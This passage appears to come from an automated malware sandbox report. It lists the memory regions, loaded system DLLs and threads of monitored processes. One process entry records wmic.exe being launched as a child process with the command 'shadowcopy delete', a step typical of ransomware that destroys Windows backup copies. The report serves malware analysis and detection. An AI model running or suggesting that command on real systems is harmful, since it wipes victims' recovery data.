AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 15497 start_va = 0x7f19a000 end_va = 0x7f19afff entry_point = 0x0 region_type = private name = "private_0x000000007f19a000" filename = "" Region: id = 15498 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 15499 start_va = 0x22347f0000 end_va = 0x223480ffff entry_point = 0x0 region_type = private name = "private_0x00000022347f0000" filename = "" Region: id = 15500 start_va = 0x2234810000 end_va = 0x2234823fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002234810000" filename = "" Region: id = 15501 start_va = 0x2234830000 end_va = 0x223486ffff entry_point = 0x0 region_type = private name = "private_0x0000002234830000" filename = "" Region: id = 15502 start_va = 0x7df5ff710000 end_va = 0x7ff5ff70ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff710000" filename = "" Region: id = 15503 start_va = 0x7ff707410000 end_va = 0x7ff707432fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707410000" filename = "" Region: id = 15504 start_va = 0x7ff70743d000 end_va = 0x7ff70743efff entry_point = 0x0 region_type = private name = "private_0x00007ff70743d000" filename = "" Region: id = 15505 start_va = 0x7ff70743f000 end_va = 0x7ff70743ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70743f000" filename = "" Region: id = 15506 start_va = 0x7ff707ed0000 end_va = 0x7ff707ee0fff entry_point = 0x7ff707ed0000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 15507 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 15508 start_va = 0x22347f0000 end_va = 0x22347fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000022347f0000" filename = "" Region: id = 15509 start_va = 0x2234800000 end_va = 0x2234806fff entry_point = 0x0 region_type = private name = "private_0x0000002234800000" filename = "" Region: id = 15510 start_va = 0x2234870000 end_va = 0x223492dfff entry_point = 0x2234870000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 15511 start_va = 0x2234930000 end_va = 0x2234930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002234930000" filename = "" Region: id = 15512 start_va = 0x2234940000 end_va = 0x2234946fff entry_point = 0x0 region_type = private name = "private_0x0000002234940000" filename = "" Region: id = 15513 start_va = 0x2234950000 end_va = 0x2234950fff entry_point = 0x0 region_type = private name = "private_0x0000002234950000" filename = "" Region: id = 15514 start_va = 0x2234960000 end_va = 0x2234a5ffff entry_point = 0x0 region_type = private name = "private_0x0000002234960000" filename = "" Region: id = 15515 start_va = 0x2234a60000 end_va = 0x2234a9ffff entry_point = 0x0 region_type = private name = "private_0x0000002234a60000" filename = "" Region: id = 15516 start_va = 0x2234aa0000 end_va = 0x2234aa0fff entry_point = 0x0 region_type = private name = "private_0x0000002234aa0000" filename = "" Region: id = 15517 start_va = 0x2234b80000 end_va = 0x2234b8ffff entry_point = 0x0 region_type = private name = "private_0x0000002234b80000" filename = "" Region: id = 15518 start_va = 0x2234b90000 end_va = 0x2234d17fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002234b90000" filename = "" Region: id = 15519 start_va = 0x2234d20000 end_va = 0x2234ea0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002234d20000" filename = "" Region: id = 15520 start_va = 0x2234eb0000 end_va = 0x22362affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002234eb0000" filename = "" Region: id = 15521 start_va = 0x7ff707310000 end_va = 0x7ff70740ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707310000" filename = "" Region: id = 15522 start_va = 0x7ff70743b000 end_va = 0x7ff70743cfff entry_point = 0x0 region_type = private name = "private_0x00007ff70743b000" filename = "" Region: id = 15523 start_va = 0x7ff9e7200000 end_va = 0x7ff9e7252fff entry_point = 0x7ff9e7200000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 15524 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 15525 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 15526 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 15527 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 15528 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 15529 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 15530 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 15531 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 15532 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 15533 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 15534 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 15535 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 15536 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Thread: id = 279 os_tid = 0x918 Thread: id = 280 os_tid = 0x8b4 Thread: id = 281 os_tid = 0x890 Thread: id = 282 os_tid = 0x8c0 Process: id = "20" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x2f757000" os_pid = "0x190" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xa5c" cmd_line = "\"C:\\Windows\\system32\\wbem\\wmic.exe\" shadowcopy delete" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 15605 start_va = 0xc80000 end_va = 0xce3fff entry_point = 0xc80000 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\SysWOW64\\wbem\\WMIC.exe" (normalized: "c:\\windows\\syswow64\\wbem\\wmic.exe") Region: id = 15606 start_va = 0xf30000 end_va = 0x4f2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f30000" filename = "" Region: id = 15607 start_va = 0x4f30000 end_va = 0x4f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 15608 start_va = 0x4f50000 end_va = 0x4f51fff entry_point = 0x0 region_type = private name = "private_0x0000000004f50000" filename = "" Region: id = 15609 start_va = 0x4f60000 end_va = 0x4f73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004f60000" filename = "" Region: id = 15610 start_va = 0x4f80000 end_va = 0x4fbffff entry_point = 0x0 region_type = private name = "private_0x0000000004f80000" filename = "" Region: id = 15611 start_va = 0x4fc0000 end_va = 0x4ffffff entry_point = 0x0 region_type = private name = "private_0x0000000004fc0000" filename = "" Region: id = 15612 start_va = 0x5000000 end_va = 0x5003fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005000000" filename = "" Region: id = 15613 start_va = 0x5010000 end_va = 0x5010fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005010000" filename = "" Region: id = 15614 start_va = 0x5020000 end_va = 0x5021fff entry_point = 0x0 region_type = private name = "private_0x0000000005020000" filename = "" Region: id = 15615 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 15616 start_va = 0x7f010000 end_va = 0x7f032fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f010000" filename = "" Region: id = 15617 start_va = 0x7f035000 end_va = 0x7f035fff entry_point = 0x0 region_type = private name = "private_0x000000007f035000" filename = "" Region: id = 15618 start_va = 0x7f036000 end_va = 0x7f036fff entry_point = 0x0 region_type = private name = "private_0x000000007f036000" filename = "" Region: id = 15619 start_va = 0x7f03d000 end_va = 0x7f03ffff entry_point = 0x0 region_type = private name = "private_0x000000007f03d000" filename = "" Region: id = 15620 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 15621 start_va = 0x7fff0000 end_va = 0x7df9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 15622 start_va = 0x7df9ee770000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df9ee770000" filename = "" Region: id = 15623 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 15624 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 15626 start_va = 0x51e0000 end_va = 0x51effff entry_point = 0x0 region_type = private name = "private_0x00000000051e0000" filename = "" Region: id = 15627 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 15628 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 15629 start_va = 0x5080000 end_va = 0x517ffff entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 15630 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 15675 start_va = 0x4f30000 end_va = 0x4f3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004f30000" filename = "" Region: id = 15676 start_va = 0x4f40000 end_va = 0x4f43fff entry_point = 0x0 region_type = private name = "private_0x0000000004f40000" filename = "" Region: id = 15677 start_va = 0x5030000 end_va = 0x506ffff entry_point = 0x0 region_type = private name = "private_0x0000000005030000" filename = "" Region: id = 15678 start_va = 0x5180000 end_va = 0x51bffff entry_point = 0x0 region_type = private name = "private_0x0000000005180000" filename = "" Region: id = 15679 start_va = 0x51f0000 end_va = 0x52adfff entry_point = 0x51f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 15680 start_va = 0x5480000 end_va = 0x548ffff entry_point = 0x0 region_type = private name = "private_0x0000000005480000" filename = "" Region: id = 15681 start_va = 0x73e10000 end_va = 0x73e4efff entry_point = 0x73e10000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 15682 start_va = 0x74170000 end_va = 0x74177fff entry_point = 0x74170000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 15683 start_va = 0x74180000 end_va = 0x741affff entry_point = 0x74180000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 15684 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 15685 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 15686 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 15687 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 15688 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 15689 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 15690 start_va = 0x749e0000 end_va = 0x74b99fff entry_point = 0x749e0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 15691 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 15692 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 15693 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 15694 start_va = 0x7ef10000 end_va = 0x7f00ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef10000" filename = "" Region: id = 15695 start_va = 0x7f03a000 end_va = 0x7f03cfff entry_point = 0x0 region_type = private name = "private_0x000000007f03a000" filename = "" Region: id = 15696 start_va = 0x75650000 end_va = 0x7565bfff entry_point = 0x75650000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 15697 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 15698 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 15699 start_va = 0x52b0000 end_va = 0x5437fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052b0000" filename = "" Region: id = 15700 start_va = 0x5440000 end_va = 0x5469fff entry_point = 0x5440000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 15701 start_va = 0x771f0000 end_va = 0x7721afff entry_point = 0x771f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 15702 start_va = 0x748c0000 end_va = 0x749dffff entry_point = 0x748c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 15703 start_va = 0x4f50000 end_va = 0x4f5ffff entry_point = 0x4f50000 region_type = mapped_file name = "wmic.exe.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\WMIC.exe.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmic.exe.mui") Region: id = 15704 start_va = 0x5490000 end_va = 0x5610fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005490000" filename = "" Region: id = 15705 start_va = 0x5620000 end_va = 0x6a1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005620000" filename = "" Region: id = 15706 start_va = 0x5070000 end_va = 0x5070fff entry_point = 0x0 region_type = private name = "private_0x0000000005070000" filename = "" Region: id = 15707 start_va = 0x51c0000 end_va = 0x51c0fff entry_point = 0x0 region_type = private name = "private_0x00000000051c0000" filename = "" Region: id = 15708 start_va = 0x51d0000 end_va = 0x51d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051d0000" filename = "" Region: id = 15709 start_va = 0x75150000 end_va = 0x751d1fff entry_point = 0x75150000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 15710 start_va = 0x5440000 end_va = 0x5440fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005440000" filename = "" Region: id = 15711 start_va = 0x74000000 end_va = 0x7400cfff entry_point = 0x74000000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 15712 start_va = 0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 15713 start_va = 0x72e30000 end_va = 0x72e95fff entry_point = 0x72e30000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 15714 start_va = 0x73f10000 end_va = 0x73f2afff entry_point = 0x73f10000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 15715 start_va = 0x6a20000 end_va = 0x6d56fff entry_point = 0x6a20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 15716 start_va = 0x77240000 end_va = 0x772d1fff entry_point = 0x77240000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 15717 start_va = 0x6d60000 end_va = 0x6e48fff entry_point = 0x6d60000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 15718 start_va = 0x5450000 end_va = 0x5453fff entry_point = 0x0 region_type = private name = "private_0x0000000005450000" filename = "" Region: id = 15719 start_va = 0x72ca0000 end_va = 0x72e2ffff entry_point = 0x72ca0000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll") Region: id = 15720 start_va = 0x6d60000 end_va = 0x6e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000006d60000" filename = "" Region: id = 15721 start_va = 0x6e10000 end_va = 0x700ffff entry_point = 0x0 region_type = private name = "private_0x0000000006e10000" filename = "" Region: id = 15722 start_va = 0x6d60000 end_va = 0x6dcffff entry_point = 0x0 region_type = private name = "private_0x0000000006d60000" filename = "" Region: id = 15723 start_va = 0x6e00000 end_va = 0x6e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 15724 start_va = 0x6e10000 end_va = 0x6f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000006e10000" filename = "" Region: id = 15725 start_va = 0x7000000 end_va = 0x700ffff entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 15726 start_va = 0x7010000 end_va = 0x719ffff entry_point = 0x0 region_type = private name = "private_0x0000000007010000" filename = "" Region: id = 15727 start_va = 0x6e10000 end_va = 0x6eeefff entry_point = 0x6e10000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 15728 start_va = 0x6f60000 end_va = 0x6f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000006f60000" filename = "" Region: id = 15729 start_va = 0x71a0000 end_va = 0x759ffff entry_point = 0x0 region_type = private name = "private_0x00000000071a0000" filename = "" Region: id = 15730 start_va = 0x5460000 end_va = 0x5460fff entry_point = 0x5460000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\SysWOW64\\msxml3r.dll" (normalized: "c:\\windows\\syswow64\\msxml3r.dll") Region: id = 15731 start_va = 0x6d60000 end_va = 0x6d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000006d60000" filename = "" Region: id = 15732 start_va = 0x6dc0000 end_va = 0x6dcffff entry_point = 0x0 region_type = private name = "private_0x0000000006dc0000" filename = "" Region: id = 15733 start_va = 0x72510000 end_va = 0x7266ffff entry_point = 0x72510000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 15734 start_va = 0x74c90000 end_va = 0x74d0afff entry_point = 0x74c90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 15735 start_va = 0x75260000 end_va = 0x752ecfff entry_point = 0x75260000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 15736 start_va = 0x75100000 end_va = 0x75143fff entry_point = 0x75100000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 15737 start_va = 0x72670000 end_va = 0x72930fff entry_point = 0x72670000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 15738 start_va = 0x742c0000 end_va = 0x744e3fff entry_point = 0x742c0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 15739 start_va = 0x75560000 end_va = 0x75649fff entry_point = 0x75560000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 15740 start_va = 0x73f70000 end_va = 0x73fe4fff entry_point = 0x73f70000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 15741 start_va = 0x75a0000 end_va = 0x772ffff entry_point = 0x0 region_type = private name = "private_0x00000000075a0000" filename = "" Region: id = 15742 start_va = 0x5470000 end_va = 0x5470fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005470000" filename = "" Region: id = 15743 start_va = 0x7010000 end_va = 0x70c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007010000" filename = "" Region: id = 15744 start_va = 0x7190000 end_va = 0x719ffff entry_point = 0x0 region_type = private name = "private_0x0000000007190000" filename = "" Region: id = 15745 start_va = 0x5470000 end_va = 0x5473fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005470000" filename = "" Region: id = 15746 start_va = 0x73f50000 end_va = 0x73f6cfff entry_point = 0x73f50000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 15747 start_va = 0x75a0000 end_va = 0x769ffff entry_point = 0x0 region_type = private name = "private_0x00000000075a0000" filename = "" Region: id = 15748 start_va = 0x7720000 end_va = 0x772ffff entry_point = 0x0 region_type = private name = "private_0x0000000007720000" filename = "" Region: id = 15749 start_va = 0x73f30000 end_va = 0x73f42fff entry_point = 0x73f30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 15750 start_va = 0x73ee0000 end_va = 0x73f0efff entry_point = 0x73ee0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 15751 start_va = 0x6d80000 end_va = 0x6dbffff entry_point = 0x0 region_type = private name = "private_0x0000000006d80000" filename = "" Region: id = 15752 start_va = 0x6ef0000 end_va = 0x6f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000006ef0000" filename = "" Region: id = 15753 start_va = 0x6f70000 end_va = 0x6faffff entry_point = 0x0 region_type = private name = "private_0x0000000006f70000" filename = "" Region: id = 15754 start_va = 0x6fb0000 end_va = 0x6feffff entry_point = 0x0 region_type = private name = "private_0x0000000006fb0000" filename = "" Region: id = 15755 start_va = 0x70d0000 end_va = 0x710ffff entry_point = 0x0 region_type = private name = "private_0x00000000070d0000" filename = "" Region: id = 15756 start_va = 0x7110000 end_va = 0x714ffff entry_point = 0x0 region_type = private name = "private_0x0000000007110000" filename = "" Region: id = 15757 start_va = 0x7ef0a000 end_va = 0x7ef0cfff entry_point = 0x0 region_type = private name = "private_0x000000007ef0a000" filename = "" Region: id = 15758 start_va = 0x7ef0d000 end_va = 0x7ef0ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef0d000" filename = "" Region: id = 15759 start_va = 0x7f037000 end_va = 0x7f039fff entry_point = 0x0 region_type = private name = "private_0x000000007f037000" filename = "" Region: id = 15760 start_va 